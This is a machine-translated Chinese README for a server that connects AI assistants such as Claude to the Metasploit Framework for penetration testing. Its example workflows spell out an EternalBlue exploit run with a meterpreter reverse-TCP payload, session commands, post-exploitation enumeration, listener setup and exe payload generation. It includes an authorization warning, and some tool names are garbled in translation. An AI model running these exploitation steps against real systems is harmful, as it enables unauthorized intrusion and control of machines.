使用说明
Metasploit MCP服务器
用于Metasploit Framework集成的模型上下文协议(MCP)服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
描述
此MCP服务器在大型语言模型(如Claude)和Metasploit Framework渗透测试平台之间提供了一座桥梁。它允许AI助手通过标准化工具动态访问和控制Metasploit功能,为复杂的安全测试工作流程提供自然语言界面。
特性
模块信息
- 列表_开发:搜索并列出可用的Metasploit漏洞利用模块
- list_payloads:使用可选平台和架构过滤搜索并列出可用的Metasploit有效载荷模块
开发工作流程
- run_exploit:使用先运行检查的选项配置并执行针对目标的漏洞利用
- run_auxiliay_模块:使用自定义选项运行任何Metasploit辅助模块
- run_post_module:对现有会话执行漏洞利用后模块
有效载荷生成
- 发电机有效载荷:使用Metasploit RPC生成有效载荷文件(在本地保存文件)
会话管理
- list_active_sessions:显示包含详细信息的当前Metasploit会话
- send_session_command:在活动shell或Meterpreter会话中运行命令
- 终止会话:强行结束活动会话
处理程序管理
- list_listeners:显示所有活动处理程序和后台作业
- start_listener:创建新的多维/处理程序以接收连接
- stop_job:终止任何正在运行的作业或处理程序
先决条件
- Metasploit框架已安装,msfrpcd正在运行
- Python 3.10或更高版本
- 必需的Python包(见requirements.txt)
安装
- 克隆此存储库
- 安装依赖项:
pip install -r requirements.txt - 配置环境变量(可选):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
用法
启动Metasploit RPC服务:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
运输选项
服务器支持两种传输方式:
- HTTP/SSE(服务器发送事件):与大多数MCP客户端互操作的默认模式
- STDIO(标准输入/输出):与Claude Desktop和类似的直接管道连接一起使用
您可以使用以下命令明确选择运输模式 --transport 标志:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
HTTP模式的其他选项:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Claude桌面集成
对于Claude Desktop集成,请配置 claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
其他MCP客户端
对于使用HTTP/SSE的其他MCP客户端:
-
以HTTP模式启动服务器:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085 -
配置您的MCP客户端以连接到:
- SSE 端点 :
http://your-server-ip:8085/sse
- SSE 端点 :
安全考虑
⚠️ 重要安全警告:
此工具提供对Metasploit Framework功能的直接访问,其中包括强大的利用功能。负责任地使用,并且仅在您有明确权限执行安全测试的环境中使用。
- 执行前始终验证和检查所有命令
- 仅在隔离的测试环境中运行或具有适当的授权
- 请注意,漏洞利用后的命令可能会导致重大的系统修改
示例工作流
基础开发
- 列出可用漏洞:
list_exploits("ms17_010") - 选择并运行漏洞利用程序:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444}) - 列出会话:
list_active_sessions() - 运行命令:
send_session_command(1, "whoami")
实施漏洞利用
- 运行post模块:
run_post_module("windows/gather/enum_logged_on_users", 1) - 发送自定义命令:
send_session_command(1, "sysinfo") - 完成后终止:
terminate_session(1)
处理程序管理
- 启动一个监听器:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444) - 列出活动处理程序:
list_listeners() - 生成有效载荷:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444}) - 停止处理程序:
stop_job(1)
配置选项
有效载荷保存目录
默认情况下,使用生成的有效载荷 generate_payload 保存到a payloads 主文件夹中的目录(~/payloads 或 C:\Users\YourUsername\payloads).您可以通过设置来自定义此位置 PAYLOAD_SAVE_DIR 环境变量。
设置环境变量:
-
Windows(PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads" -
Windows(命令提示符):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads -
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads -
在Claude桌面配置中:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
注: 如果您指定了自定义路径,请确保它存在或应用程序有权创建它。如果路径无效,则有效负载生成可能会失败。
许可证
Apache 2.0
